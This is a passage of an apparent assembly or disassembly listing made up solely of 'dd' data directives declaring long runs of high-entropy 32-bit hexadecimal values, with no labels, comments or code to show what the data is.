dd 8C9ECE8Ch, 5CFC119Eh, 51DF5A25h, 8ED21867h, 51106725h
dd 0B2561B58h, 9641E69Bh, 733C1111h, 2F36F4B2h, 9CDBA1A8h
dd 0AA370707h, 0B5FCDF8Dh, 78DB1713h, 4263E01Fh, 7A7C35E4h
dd 5B5BDA82h, 0D2E46A6Fh, 5D6D2199h, 0A1BC23B2h, 2A14E336h
dd 0BF930B5Bh, 5A97230h, 0D4EB6805h, 1493CD8Ah, 43CC066h
dd 0B7815C88h, 9C636D5Bh, 35EDD3BFh, 9E8078C6h, 75232B7Ch
dd 2CF21D2Ch, 4CC7FF04h, 0D1BE9EDDh, 0A73FA0F2h, 0B2181E33h
dd 2CD115A0h, 341FB6A0h, 783392CDh, 1F1C1A20h, 0A5F34CCDh
dd 7ABE1886h, 3D40A9E5h, 0EE11A854h, 3E3F2492h, 7FA31493h
dd 0FDF032Ch, 0A08F56Dh, 255D69Fh, 2E951FF6h, 4AE79643h
dd 71870E29h, 0E24219F7h, 3BBE8C48h, 5E98B41h, 299164CBh
dd 0F7B7E082h, 0C8978B1Fh, 77452A86h, 7359EA43h, 0B76D3F53h
dd 0EE2868BEh, 0F2DFDB72h, 0A3FA73E8h, 3CDFC304h, 31AE96DDh
dd 7B5FB0F3h, 32583E34h, 1759D5B3h, 351F36A2h, 7A65A142h
dd 2697B8ABh, 360F295Fh, 0E00A576Eh, 844DAA11h, 24A854E0h
dd 0B6D6ACB2h, 0C9D489F0h, 7CFA7321h, 877ACE5h, 0EAE446D2h
dd 0ACD01006h, 171A599Ch, 175ABD6Fh, 9D7CFD8Bh, 0BF7F2B8Bh
dd 8F5A0C42h, 0EBB6136Ch, 0F6DDB93Eh, 7D2FABC3h, 777748E6h
dd 72D69A63h, 0AF26FE56h, 691FE277h, 0CA104002h, 0B1480DE8h
dd 0C7E41552h, 0C50AAD84h, 0C31A1848h, 0BB9ACB3Ah, 2901CD12h
dd 0D21AC6CDh, 4A15F1CAh, 0EA454757h, 3ECB2419h, 0FB771086h
dd 65145AE2h, 6B3DD6ECh, 8F0525B3h, 0A56A2951h, 4C11BD13h
dd 0B087E6ACh, 875E8974h, 7AE1559Bh, 0A912E606h, 7863C863h
dd 52D69D0Bh, 3C4F4B40h, 0CAB04F40h, 0D4442695h, 0A6747500h
dd 0CE875583h, 4EB4519Dh, 6ACEDA13h, 55423C26h, 612B6D2Ah
dd 0CA225F02h, 15C60BE8h, 2EEFCB04h, 0F4966DDh, 0CC7B774Ah
dd 2A8B44D4h, 9AF8B5F7h, 0A047CD5Ah, 5953D22h, 2C39E157h
dd 960AC58Bh, 8C046D3h, 5CF1AD4Bh, 7F7513ECh, 1B676636h
dd 81253E57h, 0C72A7AB8h, 3587BB1Eh, 31CB3037h, 676C5422h
dd 3295E494h, 0DEC62A0Bh, 0AFB7E9CEh, 0CBF5AB10h, 789E968Ch
dd 33EADBA9h, 7A6D7988h, 0C9425489h, 751B9A0Eh, 62A728DAh
dd 2428BAEFh, 27EBE33Fh, 0B3F42608h, 8648830Bh, 4311D1D2h
dd 852ABD9Fh, 0BFAC259Bh, 0AE08CB23h, 1A172EB3h, 10624420h
dd 509D5C40h, 0F53FFCEBh, 130FC585h, 97E64542h, 0ABDDF649h
dd 6B990DE9h, 3DC631CDh, 87DA7BC0h, 0CAEE06BAh, 7BB2FFEEh
dd 2A14193h, 171494BFh, 2196D339h, 175FF4Bh, 58F832B1h
dd 0C30AEBF6h, 14A810A8h, 29C6A394h, 721BCE7Fh, 0E7EF89Dh
dd 0BBF0E8F9h, 650EB4CBh, 56B2FDACh, 37301EB0h, 98A6AA74h
dd 0E55CED00h, 0F1320B5Ah, 0D33C7303h, 3976C419h, 0C5E78037h
dd 23BCDF7h, 62E2CD50h, 0BBEE150Eh, 0A412B8B0h, 3A54B388h
dd 0EF671085h, 34EBC15Ah, 5F4EADB4h, 1D8FE13Bh, 7DB7C042h
dd 0FA11F943h, 467FE974h, 0A654C9Dh, 3E955246h, 6EC5B2Ch
dd 1D617152h, 7C33ABFEh, 0AF83B7CBh, 7FA1290h, 0D4004671h
dd 0BA15968h, 0C8CE6EE3h, 47699A22h, 9DB5FA13h, 17334590h
dd 34FD36D2h, 232B3B02h, 0B24556E0h, 76F6D1D1h, 0D0C195F5h
dd 37D4E51Ah, 424F8867h, 10D89D0Bh, 0E2DC37B1h, 3B9324CDh
dd 0BB1AB8A8h, 0B724845Dh, 527F11F6h, 0BBDF539Ch, 9EBFB831h
dd 0A19ADA46h, 821EFEB8h, 20DD0611h, 487C027Fh, 0F3AD0BE9h
dd 1D969418h, 471AB704h, 3C4DD72Fh, 0ABF0684Fh, 0C24F046Ah
dd 782AD3CCh, 296B3AE6h, 2EA4109Ch, 0DD1D1266h, 0CD6A3336h
dd 6E42D184h, 29CEBCC9h, 7A4B69DCh, 35EF6A84h, 6D76BB8h
dd 9A6E905Ah, 0DCA57A74h, 0CB0D2B4Fh, 2B655798h, 30EC5DF6h
dd 9369CDA7h, 4A872A35h, 3C954752h, 0A156401Ah, 3F75EF02h
dd 900E2E09h, 20F39704h, 0B7CBA6B9h, 78DB9552h, 0BB187C4Fh
dd 4A819295h, 3D2CC367h, 0AC81478Bh, 0A16E5965h, 1B01BD27h
dd 0A3C467C3h, 0A0A182C4h, 8147CDD3h, 72FECB64h, 0F35C374Ch
dd 7229BDA6h, 0C8AEE2FDh, 0A6056DA4h, 507434E3h, 717D6639h
dd 0A9A08900h, 0E51B032Fh, 14714CD9h, 856A9D17h, 26A75593h
dd 62C14A0Dh, 19E14D0Bh, 0F7F3E2C1h, 4391E636h, 0CE97B46Ch
dd 92A6B3CAh, 32AC97E9h, 8F8B4D09h, 2492AF9Ch, 343EA6B2h
dd 844407B8h, 7D110538h, 0B383FCECh, 9249FCE5h, 6C96E806h
dd 0F518AA7Ch, 376CC9Eh, 1CBBEA46h, 358FA267h, 0FB50CA56h
dd 47B2CF32h, 0F35E6AEDh, 6536D518h, 0CD6895E4h, 0E18A1038h
dd 0A7B22152h, 7544F761h, 0B152B6B2h, 0F1A254EEh, 766D7DD3h
dd 45FFE9C5h, 0CBE0A162h, 270604D4h, 4B9D22F7h, 9D5AE04Dh
dd 0C25D9ACAh, 0D8B2FD23h, 999E1780h, 0AB92D3DCh, 0A47ACFFCh
dd 0D7CE4416h, 40F6DAAEh, 9BD30646h, 2110770h, 8C973C0Fh
dd 53289AC1h, 67E9FC8Fh, 94C2A6E7h, 96D73931h, 0AE631C4Bh
dd 3E8768F2h, 8968BFA1h, 0EC823CCDh, 799914EFh, 4AE5A143h
dd 32B0CAECh, 481D318h, 0B5BEF4E4h, 0A6817A4Fh, 0CF6E738Fh
dd 83E3DDF8h, 74FFCCD3h, 844DEE87h, 74970470h, 22058B67h
dd 7B6F5A91h, 98D531A5h, 8F1559A0h, 6B1BE8ACh, 7D0B0599h
dd 91D3D402h, 1B01E5DEh, 321513EEh, 85F6CDE8h, 0B6D873B6h
dd 0DC297A45h, 8A0EF8E2h, 835B468Ah, 3AE442DCh, 0D3FBF687h
dd 42595A75h, 0A7F091BFh, 9854B69Bh, 4DF237A9h, 0AAE4B19Fh
dd 7E5EFE0Dh, 0DA30C24Bh, 5817F413h, 62053CFBh, 963030AFh
dd 0E48E2DC6h, 305D0EF7h, 0ED9A24B8h, 25C42B2h, 925EE67Fh
dd 0B716159Fh, 0DF7D54DAh
dd 5D9C5C08h, 0E618CC26h, 0C0659AE7h, 0E13AB5D5h, 0ED1F4C3Dh
dd 0FD28E2C7h, 140F4E40h, 0DD0DD5D4h, 2553DA40h, 62DB90E5h
dd 1C1CC8BFh, 0FCDAA18Bh, 0AE1526F2h, 2AE4102Eh, 0D912C0A7h
dd 0D19DC6E7h, 0CB236D77h, 530A05BBh, 715DD4CFh, 1A585D37h
dd 7ECA6B25h, 4EE58143h, 3EC2028Ch, 0EB8623D4h, 0D17E33EDh
dd 0EA00BD45h, 44C2E0DEh, 0E762BFEBh, 76ADF7D9h, 31A569D5h
dd 0B7526A15h, 0AB25CAA4h, 0DDE07BF4h, 67EE4DDBh, 0AE98DA49h
dd 742E052Bh, 7943B321h, 196F2185h, 0C080C349h, 859393FFh
dd 0B963DA3Fh, 669B42B0h, 0F2007A15h, 0B5064F79h, 0AD5E30C9h
dd 9F68C791h, 0F6EC600Eh, 0D46172F7h, 68202EEAh, 389EF4Bh
dd 82479422h, 0A801068Eh, 0BDDD8A3Dh, 0DE46937Bh, 0B19FBC35h
dd 8AD5B1FBh, 0D3BDB7D8h, 50093AC5h, 91FAB74Bh, 0B8055EB3h
dd 183C7D99h, 0C33F74EAh, 0AE28A31Ah, 0DF23E865h, 1BC1D582h
dd 1A6ECD59h, 0AD8090Eh, 0C5B331FDh, 54C02A8Dh, 80A7107Fh
dd 157E2819h, 3FF4DD2Ch, 85F6DAECh, 0F2269E5Ch, 0F12A7AAAh
dd 48E53BF9h, 0A43B3347h, 0BCEA154Bh, 194D246h, 1A614D6Eh
dd 0DD36D84Eh, 1EE66ED2h, 9EC594E6h, 0D4F1B22Ch, 0BDD7D302h
dd 0DB353268h, 16CB62F9h, 165E500Bh, 0D7CFBB4Fh, 968C732Dh
dd 98AE8000h, 1A071500h, 0B3475A5h, 0A539BDF5h, 30528016h
dd 28600B67h, 2B7C2F7h, 0C59BE166h, 0ED0111EEh, 7F07B6DDh
dd 0EA84B31Ah, 745743D4h, 82D45AF0h, 28829357h, 2BCF0190h
dd 9C7F2EFEh, 0E8CABD59h, 2C87ABF9h, 9EEBF02Ah, 0DA0F1043h
dd 0F494DA8Ch, 3CFFB8BFh, 31F848EAh, 0B6D9A101h, 0D57FCFCCh
dd 0A0545101h, 17ACAAADh, 7D4B013Fh, 0BBC627A1h, 66B7BEBDh
dd 5A943526h, 5B45FB35h, 4625808Bh, 0E2B62CDBh, 0EF9964D1h
dd 0E4C60309h, 2805579Dh, 98E52101h, 0FAF10307h, 0A1B64F6h
dd 0A3ED15EFh, 6EB54A46h, 0DFF61525h, 0AEB72B0Ah, 43C82E01h
dd 0B078586Eh, 318A2017h, 0F3DF01BCh, 0A365F210h, 830AEA58h
dd 0DA2AAD26h, 0DE0F0C6Ah, 0FC613F61h, 8D9503Dh, 0FFFBC996h
dd 0BC3A7CACh, 9E8885A0h, 0C0077C4Bh, 59E619EFh, 8928D837h
dd 0B001C43Bh, 4E16180h, 0D609ADD6h, 970F712Dh, 4D908200h
dd 6E11A41Eh, 0C8BD51ACh, 0B8CB640h, 8F0757E9h, 3AD36C23h
dd 926C68C7h, 9F3F96F1h, 3CC092F1h, 7850FF26h, 3927C7CFh
dd 0DAC99B85h, 31CFE479h, 0E0017468h, 0B7432265h, 0AB0FF9F5h
dd 0E6CC79C0h, 0D3A7B9F5h, 0C4A98DD9h, 0D0867CAEh, 72A0E788h
dd 25D4DC06h, 0B426DC42h, 0DB2FF983h, 0CA27BF1Bh, 5B871EFAh
dd 0F6B47D8Dh, 0A67EFD5Fh, 0ED512838h, 955D7CC8h, 515485A4h
dd 0E5AB8DB0h, 0F91D8E7Dh, 6DB72428h, 70536CA5h, 0B1C271C4h
dd 87074626h, 0F8B34C33h, 0F16C56CDh, 3CA7752Dh, 91D592DFh
dd 951833BCh, 0AA730E5Fh, 499734D5h, 0DFFBA280h, 6765DB3Bh
dd 82A1A52Dh, 1FFF3639h, 0B3E6B3AEh, 3E6CFC90h, 56909ED5h
dd 7C375F1Eh, 0A718DC44h, 15DD2574h, 0A816E01Bh, 0BC3AF5FEh
dd 719CC0C2h, 0EDBA079Bh, 859C9DDh, 73B2391Bh, 0F1F3D791h
dd 1704D097h, 8BC7BA86h, 0A35A2298h, 9A7F73DEh, 0B4749ABEh
dd 0E5349756h, 0F53652B1h, 41B6BC27h, 69F6F734h, 2115A11Fh
dd 9BEA315Bh, 0DEF5D941h, 0C1034024h, 76A8118Bh, 0E6C39BCBh
dd 2D03F5ECh, 7AAEAF31h, 52E762D6h, 655F05F8h, 0E259F4CDh
dd 0FBF5002Ah, 74EF297Dh, 0FBEAF3A9h, 5AE71A9Bh, 57FF9582h
dd 36B39758h, 2F87C782h, 76E8CF20h, 0D74B878Ah, 15A8F4D1h
dd 8D5DC934h, 35121874h, 17CBB591h, 0DC6A8DA3h, 9E5CECB9h
dd 99EE98Bh, 9B02EC9Dh, 0B248F84Eh, 0B2BCA580h, 0B94AC46h
dd 5109290Dh, 41BB2808h, 4151CED1h, 0A383E45Dh, 665ECD4Dh
dd 2992D0C7h, 0E77B9989h, 6F12F32Bh, 0FF34DD8Ch, 33C4E2Dh
dd 0EB1753Ch, 14E281A0h, 0E87CF611h, 9EA13E72h, 221CC8EBh
dd 9D81EC58h, 0CB75AF92h, 0B370D162h, 0BCF81775h, 8E57513Ah
dd 76E39DC8h, 9823F746h, 8F522D82h, 5D13080Eh, 622494DFh
dd 2A043762h, 9D88539h, 4E89078Bh, 66EBC914h, 0ECCDD299h
dd 112437Bh, 1C6CE316h, 41BF3798h, 1BE6728Dh, 0EBD24C43h
dd 0C607946Dh, 0CB5F477Eh, 2D27CDE4h, 4E364965h, 7B8DF665h
dd 1F14DAFDh, 93BCD75Ch, 891FFB18h, 82B795DCh, 0EB83F24Fh
dd 7C5A185Bh, 0E7394B99h, 729125C8h, 0F6ED1A9Eh, 6E660C65h
dd 3CFE588Fh, 0E24A1CD1h, 72381692h, 86092BC0h, 0DD65C905h
dd 0C83EFDB3h, 94409C4h, 0C6DF10BCh, 6749F82Eh, 3CC8170Bh
dd 587A3817h, 0FFDC534Ah, 0B3A076DCh, 672DF2ECh, 0E220E864h
dd 7E2AD992h, 2E28BFBBh, 0E172E6C0h, 7059B8EAh, 2167B78Bh
dd 2DA1D3EEh, 95455D49h, 7931571Ah, 7C7CD649h, 84C21DD0h
dd 16103718h, 6AEB401Fh, 0EEB19C38h, 8769B67Ch, 0FD6FB92Fh
dd 1241B858h, 7E9AF41Ch, 0A6899646h, 0DDAEE3AEh, 0DB21AD57h
dd 88DBA9Dh, 0E78C44CEh, 0BDC1976Eh, 0E81CD6E7h, 85CF58ACh
dd 9A816E39h, 0C234EE8Bh, 9C2DC582h, 0BE44F309h, 0E3ED8D7Ch
dd 73BD774Ch, 0F4898865h, 93AE5A02h, 0F52CB2BAh, 0E941CF9h
dd 0E7A5A880h, 0BC004B0Eh, 0F2BC4D8Dh, 0A50C4E0Eh, 0C8B9A802h
dd 2BD32820h, 885B68B1h, 0EC84CD30h, 0F685C40Ah, 55EF7CEh
dd 0A964F89h, 291955Bh, 0FE00F00Eh, 76895273h, 0D3001C95h
dd 8EA37911h, 410966D2h, 178EC4B1h, 8D994EEBh, 0CA8358D1h
dd 61FFA26Eh, 5378FCBFh, 1128FB0h, 0CFBBB900h, 0FBC34A8Eh
dd 1D7944D1h, 24430CE7h, 0EFB46C5Fh, 2BF0A899h, 9CFF0322h
dd 0A3FB64E8h, 0DDE371C1h, 61C0A881h, 365F5461h, 562EF63h
dd 0C34BA6A0h, 0F031D236h, 6A2342EEh, 60DB0391h, 0EFE1CD04h
dd 6196ECBFh, 77B19E3Eh, 639F3748h, 661A0BFCh, 0D7E33443h
dd 0E7FD3BC1h, 0CA6714A0h, 71F58B75h, 2BC604C5h, 3A708385h
dd 2D91E1B0h, 0BCCC4832h, 3A2549A3h, 81F8E62Ch, 0E1C45A0h
dd 0D3D01EE7h, 9D2BC182h, 0F3590B5Ah, 20F10194h, 0FE522A19h
dd 22C73DBEh, 4F64E205h, 9241F050h, 7CE41954h, 0ECA8A7E9h
dd 28AC1808h, 814FECF9h, 0C5CE61C9h, 0EF7777F9h, 36C64ED4h
dd 0DFD0653Ah, 6588DDFCh, 7AE51129h, 94A572C4h, 0B8964338h
dd 0CE096409h, 81D60C39h, 0E38AEDAEh, 5B62E2Ch, 4DF8165Dh
dd 7BDF975Bh, 0F6C7E03Ah, 0C80B1A1Eh, 3DAD2C02h, 236AA0EDh
dd 5FC0092Fh, 9ABE7381h, 0C3539D63h, 4148C6E8h, 0F036A6B1h
dd 7446E9F4h, 7FEEB263h, 6DA66861h, 3FDC79EFh, 515BB1ABh
dd 4D301D4Ah, 22C8B06Dh, 1FEA9432h, 0D798D05Fh, 74972F19h
dd 0CD67044Ah, 7B8F0CB7h, 327044Bh, 0CD5E40E9h, 4283132Eh
dd 0C94E50ADh, 0A7ECE47Ah, 2A0768Bh, 0F6A7F37Ah, 337757D2h
dd 433C93D7h, 0A2CB7101h, 0D43A5E0Dh, 7D6D9E78h, 0E196E943h
dd 0CCAA712h, 50BF3A6Bh, 15DA57AFh, 0E73E0493h, 0C375FA67h
dd 0D5D7CEE8h, 0E8FAC30h, 73B1280Ch, 41C63DE1h, 82628B65h
dd 83655A9Ch, 72C4B2B9h, 7FDA71C0h, 5873A886h, 0BEBDA303h
dd 0D086EF90h, 0F2EE65CDh, 86605FF0h, 84C18D1Ah, 1D12B2Eh
dd 189A0D1Dh, 0FAF63DD5h, 0A0E2992Eh, 0BA93A86h, 0A6BE49F1h
dd 557325CFh, 5C893EACh, 330464Dh, 8EA175E9h, 0A338140Ah
dd 3B518325h, 9839C08h, 9ACD35Eh, 5D6F3CC1h, 10577D80h
dd 666BB802h, 0B76BAA0Bh, 6A81AAEFh, 0E65B20Ch, 2C2EE5C2h
dd 83B7F27Ch, 8AA4618Ch
dd 0E89652FAh, 72223636h, 3A327FFFh, 0E2550F89h, 2B0C58B4h
dd 0EF071158h, 0A35861CFh, 32B1D382h, 0F93314F3h, 7CE2543Ah
dd 0FC6DAB61h, 3C8B61A8h, 2CB57285h, 0FD2ABF85h, 9651F3F6h
dd 0ABAA2C3Eh, 0A34C254Dh, 8330764Bh, 8EA115EEh, 0EB7E5308h
dd 4AC1DE35h, 0C8081643h, 0F211A826h, 5670A08Bh, 5E1708EFh
dd 0D1B42883h, 993CC04Ch, 0BD69C928h, 0E1F5B4B8h, 2D154112h
dd 2F8A278Ah, 0ECA6A263h, 21F4F5F8h, 2628B2BBh, 22452483h
dd 0A9E54779h, 413F2E89h, 89136DEAh, 0E93AA13Dh, 4790FE74h
dd 4506A403h, 2BA4805Eh, 0B5E1CE59h, 0F4D340BEh, 494927B0h
dd 0CC96476Bh, 32147531h, 8B7A1C4Fh, 0EC04504h, 0F2589EC1h
dd 8FDC21C6h, 9C341E06h, 381FE6BEh, 0E5DD46FBh, 25A045B6h
dd 9AC7CCB6h, 3F29F7D0h, 668BB2C5h, 51855308h, 7C3A336Dh
dd 0D8DF8A5h, 771575C1h, 0B83EB680h, 72A5010h, 0E0DE265Eh
dd 0AFD4CDEBh, 0C2552CD7h, 61523B78h, 0B53F0E3Eh, 35D2EF7Ah
dd 0D6D6C6A2h, 87800E66h, 85820CE2h, 0A1AE971Eh, 0FE133E91h
dd 9EB4BD6h, 0CEA19B45h, 0B896514Eh, 36D4F2ACh, 1E7AF752h
dd 97026AB9h, 0ABBDE4C6h, 715F4787h, 0A2379A87h, 0BD168E38h
dd 0F8702146h, 0D83D4F12h, 0E806B6E4h, 289A90EAh, 9964B239h
dd 0D68F968Bh, 7819102Fh, 0F71A53A5h, 9AEA4D81h, 0B678F891h
dd 113FD9Ah, 17C9218Fh, 805F4D54h, 582D15FBh, 95E1473Fh
dd 113CFC0Ah, 0D97F55E6h, 29CA7124h, 7CB8BF85h, 41402913h
dd 0A426EBFEh, 0FFF7B318h, 796BA19Ch, 435E652Dh, 0B7D5CF7Ah
dd 6D6E9134h, 0D7453563h, 63779D3Fh, 0C3E05451h, 3AD57714h
dd 2B1B04EAh, 0F4CAEF71h, 7277B6AEh, 406C23A1h, 0D52EB66Dh
dd 28814747h, 1394D6B9h, 305E7D37h, 0B1186C17h, 60324B9Ah
dd 3815A450h, 0A33366F6h, 0FAA7970Eh, 8AAB04A3h, 0CC5FC927h
dd 75D3D9BAh, 163A3DBCh, 0D789B4FBh, 6103658Bh, 0D7244E5Bh
dd 0FB84A8C8h, 65EF71F3h, 0DCEA3101h, 7211EED2h, 0E9C8FD15h
dd 93F86ABAh, 0A8397BC0h, 7E797380h, 7850004h, 0B3220EE0h
dd 0C83B385Eh, 0D0FFDC4Eh, 76C8575Bh, 981D63B6h, 8DAD029Bh
dd 0AD34E4Eh, 3704495Bh, 92E604B8h, 0D174D8DEh, 0B46188CEh
dd 90014E47h, 0D41D21D7h, 0C145A27Eh, 4D8719E6h, 7BB78CE6h
dd 8FDE57Fh, 5357E245h, 4A61907h, 726C3D02h, 3C70B4E3h
dd 0AEFB100Dh, 0F73F13EFh, 0F01EA992h, 651339E6h, 6AA467BBh
dd 0D9EFA0CDh, 860E0969h, 0ED5E623Dh, 15D87CD5h, 7613A1F5h
dd 81A15722h, 1CA8F90Ch, 86B5AEC7h, 0FB41181Ah, 3F55E112h
dd 7D42E361h, 757F9B0Bh, 65775991h, 60A9C353h, 0CF1D882Fh
dd 46B30DCBh, 53416475h, 7B2E776Bh, 478DC8A9h, 431555A7h
dd 6A303DA0h, 47583815h, 0A116B637h, 0D357223Dh, 3EA11A00h
dd 6C76B24Ch, 4808B8F5h, 86479DC1h, 28FA2F96h, 4B448969h
dd 9AB46D43h, 4A6CE4DEh, 52BD9AE9h, 0FE66E8C1h, 1A610FBAh
dd 29145500h, 0A85F4BA2h, 0AFFD47C4h, 2DC79C7Eh, 0C60FD13Bh
dd 7641C7F1h, 1489B64Ch, 0F0C4360Dh, 0F004EA56h, 0FD0F2B92h
dd 5070B674h, 0FA1DE338h, 0DDD87638h, 2234A189h, 6CD68398h
dd 0FD1A775Bh, 0F2D49CC8h, 318743D3h, 0D53CE072h, 0F7B6184h
dd 0C3BFB5BDh, 62466DD2h, 6815E577h, 0BE142BE7h, 0FC600007h
dd 703D1ECh, 0C4AE6988h, 0DF49A577h, 6BA4EE52h, 4A049FAAh
dd 6670E702h, 0D545094Ch, 0C064697Ah, 2D70A50Ah, 52C17331h
dd 93088261h, 3F02C1C4h, 7761E4BDh, 0D75461E5h, 995C5E56h
dd 397BE9F4h, 0E9D12F12h, 2F773C04h, 7D94F18h, 0F127FCB8h
dd 0CE514782h, 8578911Ah, 12A1132Eh, 5E8D82Ah, 467845A4h
dd 0CC88C03Dh, 387AA144h, 0C5441D5h, 3D924DC5h, 0EDE20761h
dd 203A171Eh, 0FC681800h, 15D67EEEh, 1E28B661h, 44F0EC32h
dd 0DE611441h, 7E14DCCCh, 0D876F051h, 59F470BAh, 0C8BBD36Dh
dd 0A371FE0Ah, 83EFC8D0h, 0EF368E46h, 8006F2B0h, 0AB83EC7Bh
dd 2CCA2B6Dh, 0F59DBC46h, 0C9FD62C3h, 0D463D22Eh, 4D97A22Ch
dd 61B0BCDCh, 9A3834CBh, 19B0A86Fh, 0F0F62B3h, 49251029h
dd 792481A9h, 4BBE5ECDh, 91AB9E07h, 0A8730EBEh, 3FD5B8C8h
dd 35B215E7h, 0ADE098F3h, 0C2F3BF9Dh, 9C1CF2FFh, 0C07393E7h
dd 0A76E33ECh, 4DA87E9Ah, 409A9467h, 10968h, 0D240F03Eh
dd 33E8703Ah, 5116D045h, 2EBC20AEh, 1B8DF9F8h, 0EC6FCD06h
dd 0FC13093Ah, 0DCECC80Eh, 0F3A4D941h, 856149FEh, 8BE617F8h
dd 0F598DBBDh, 6BE5424Fh, 5EDF066Dh, 89618201h, 5A1C9FECh
dd 7A3E6012h, 6E06076h, 0C297B5B9h, 0B24014B5h, 0DD5B0F61h
dd 934BDF39h, 7BAD34E0h, 3DAD24A7h, 8A0E2300h, 0AD8F88E6h
dd 6060F805h, 28BBC447h, 0BE347F1Fh, 5C7E162Ch, 0E61E171Bh
dd 9E9C886h, 53647229h, 0EEB7E447h, 741A3A6h, 0F8D82E7Ch
dd 0BBA757C4h, 0D248B267h, 9D06D635h, 844057EAh, 79215E14h
dd 799FEBD1h, 0E5D5471Bh, 1D172F2Eh, 0EA00B5FDh, 0CF248760h
dd 49E47422h, 0DF9B9BEBh, 7E79007Fh, 0D4B573DDh, 714BC58h
dd 32FA422Ch, 1E794DCDh, 70A6776Bh, 0EE5B7BDh, 0E24BF3BFh
dd 0F9612D76h, 2B248CFEh, 5CCD1F13h, 0A35439FBh, 0A729EEF0h
dd 4529F92Ch, 9B666A5Fh, 8DE736E1h, 37771F64h, 7A6435ADh
dd 2BE87A95h, 0FA69ADF5h, 39C4A046h, 8A8BD878h, 0C613FECAh
dd 3140880Ch, 0E8DD65EEh, 65422579h, 0EAD5FFFBh, 8CC5A6DEh
dd 0A0266712h, 6CBCE5B8h, 0F2B28B45h, 3B441090h, 0D8BE7C1Dh
dd 54358054h, 10144764h, 0C07F1712h, 0F2F454BAh, 4F3C6E78h
dd 0A0C1F7B8h, 865795B1h, 5BA5576h, 0C1DF5E4Bh, 0B599283Dh
dd 0D75BD61Ah, 0A709CAC4h, 45030124h, 0F80EFA7Eh, 56E7C90Fh
dd 0B87571F0h, 815A69C0h, 12D9C37Ah, 4B00AFE5h, 59E45FC4h
dd 56CFC034h, 0AED3CECBh, 87BF5906h, 65F1E95h, 9A18B39Eh
dd 3DB5E81Ch, 0A59E97C5h, 0B51E8A6Bh, 68910DEAh, 0E700787Fh
dd 3E9F47Ch, 12E991F8h, 66E5840Ch, 7D911F18h, 6D785D6Eh
dd 0F1C0CEE8h, 5D6CE004h, 0B3BBDEBDh, 0D823113Ah, 5217437Eh
dd 0B956E048h, 0D8B72FF6h, 287A16E8h, 25D2D30Dh, 0A96CC1CFh
dd 575A6A4Eh, 7BE6C9FEh, 0CFCE9864h, 717E763Eh, 0EFD4198Ah
dd 0B69BB1F4h, 867B67C5h, 0DDD6A5E3h, 732212Ch, 86BCC38Bh
dd 67A7954Eh, 0DB1F480Eh, 261512DFh, 4A985A01h, 9F08B00Fh
dd 0B3569D6h, 0B8238C4Ah, 8611B3B4h, 564137A7h, 0BAE92836h
dd 0FDEB81AEh, 0C84A5A29h, 4BE394FAh, 284D18BEh, 0A84F83C2h
dd 0E5B1EDC4h, 85DEAE52h, 0C01752ECh, 94298157h, 7F7B3601h
dd 4A32AA46h, 77796C66h, 0FBB715A1h, 0C21A3E59h, 92F44270h
dd 0AEF053C0h, 9F5D287Bh, 0E5884C0Ch, 71B498E2h, 2EB48077h
dd 0AB6A0876h, 0C2BF2863h, 0D9A65DC6h, 23DD3399h, 0FE63E226h
dd 0C69ED1EEh, 8AAC4D71h, 6341856Ah, 6CFBA1CFh, 28F43F68h
dd 37FA21Bh, 0C103F0B7h, 880589AEh, 0FE630EFCh, 86B981DAh
dd 0EBBD6779h, 4D465Ah, 5D5C10B1h, 0DF0A8FAh, 0D5808664h
dd 772727C3h, 9A6B04C2h, 0A5B56180h, 0C826F90Ch, 4B606A17h
dd 2B91091Ch, 0B483AF16h, 57E1773Ah, 94899E5Fh, 0D3F080BCh
dd 0CDADCD67h, 8F4BDB2h, 23C1C4E8h, 80BFF79Fh, 0F8D41BC7h
dd 7DB1481Eh, 2DE0CCA6h, 94518B77h, 0ADB215C4h, 0A86EC210h
dd 1D26CD8Ch, 20AE562Eh, 7CC5D672h, 6E9BCF29h, 0F3E31101h
dd 0F406EA6h, 0ED7F504Ch
dd 0EFBCDB44h, 0C64D5648h, 22487C7h, 0ED0936E6h, 0F4FA370Ah
dd 0D1894808h, 171E0CEFh, 81E1DE01h, 28F579FBh, 0ED170DFAh
dd 0DC255651h, 0C4004356h, 51AAFFC0h, 1D11A7Bh, 247548E2h
dd 339B6FD9h, 55CB445Dh, 4D6E9877h, 0F637E867h, 2DC398Dh
dd 3632B26Bh, 3E89E8B7h, 9B76A547h, 3F009C72h, 6E17E869h
dd 41E2628Fh, 3FD13426h, 4B85A4DFh, 0BCDF38BEh, 0F2EB9D31h
dd 0B6FEF3Fh, 0E1DB506Eh, 92B0DB04h, 9C4DA76Dh, 5DB3B1D0h
dd 52C2F055h, 0BFE80BAFh, 7EE2D8F6h, 4E4599F7h, 0BD0C5394h
dd 5D8FD5FCh, 0A7167B7Bh, 0DC2D2D9Dh, 0B2BA9A81h, 2EB8D23Ah
dd 1C099885h, 0F0D06280h, 3CD439C1h, 0AF9C524Fh, 14FC9ED8h
dd 0F77A413Eh, 0D82B6ABFh, 3205CF57h, 52FF65B7h, 8B876129h
dd 1ACA438h, 3120FF69h, 988B9C3Fh, 0D895B1C6h, 6C03126h
dd 0C6983043h, 8EFC2A06h, 8484ED0Eh, 350D941h, 9B3FAF7Dh
dd 2FB634FDh, 0BD2E0B05h, 6CA6F6B1h, 0C0315753h, 3D2F297Fh
dd 0E8E391CEh, 0A595E6F1h, 8DE2B3F4h, 91E9EA1Fh, 0DC3602DCh
dd 5BAE1AD6h, 499D0FCEh, 628B667Bh, 0E0A52F7Bh, 24DB77C2h
dd 54535D35h, 4B09D7D1h, 69C868E3h, 1566275h, 2E2BB269h
dd 2129E8B7h, 0BB9EA599h, 0E2B74C38h, 95710074h, 0E7679DF4h
dd 8519E156h, 0D27FA4D1h, 0BD23B99Bh, 821D0F0Eh, 0F678ED94h
dd 398A3E5Ah, 0C7BD22F1h, 398E47C9h, 225B8A4Eh, 6AD6808Fh
dd 0CA48D2FEh, 0FC10A40Ch, 63337A08h, 5A4A96E0h, 764CAE67h
dd 15602DEFh, 27A40A9Dh, 0B83232D5h, 0A21C3DCAh, 31CE95D4h
dd 0EFE7EDFBh, 3D060189h, 26A4624Fh, 0ADE403ABh, 6CD6D898h
dd 18D41EA1h, 0DD27341Dh, 0A199D7CDh, 58291293h, 0E56C4397h
dd 0DDE4509Eh, 67946171h, 5D66BEF8h, 77BFBCE8h, 0BAE1BD8Eh
dd 58EB856Eh, 596CEC73h, 0F9442BBDh, 0CFBC3D7Fh, 864D4D48h
dd 82249FFFh, 1232DA67h, 0E3E496EBh, 732C9DEBh, 4674A9F1h
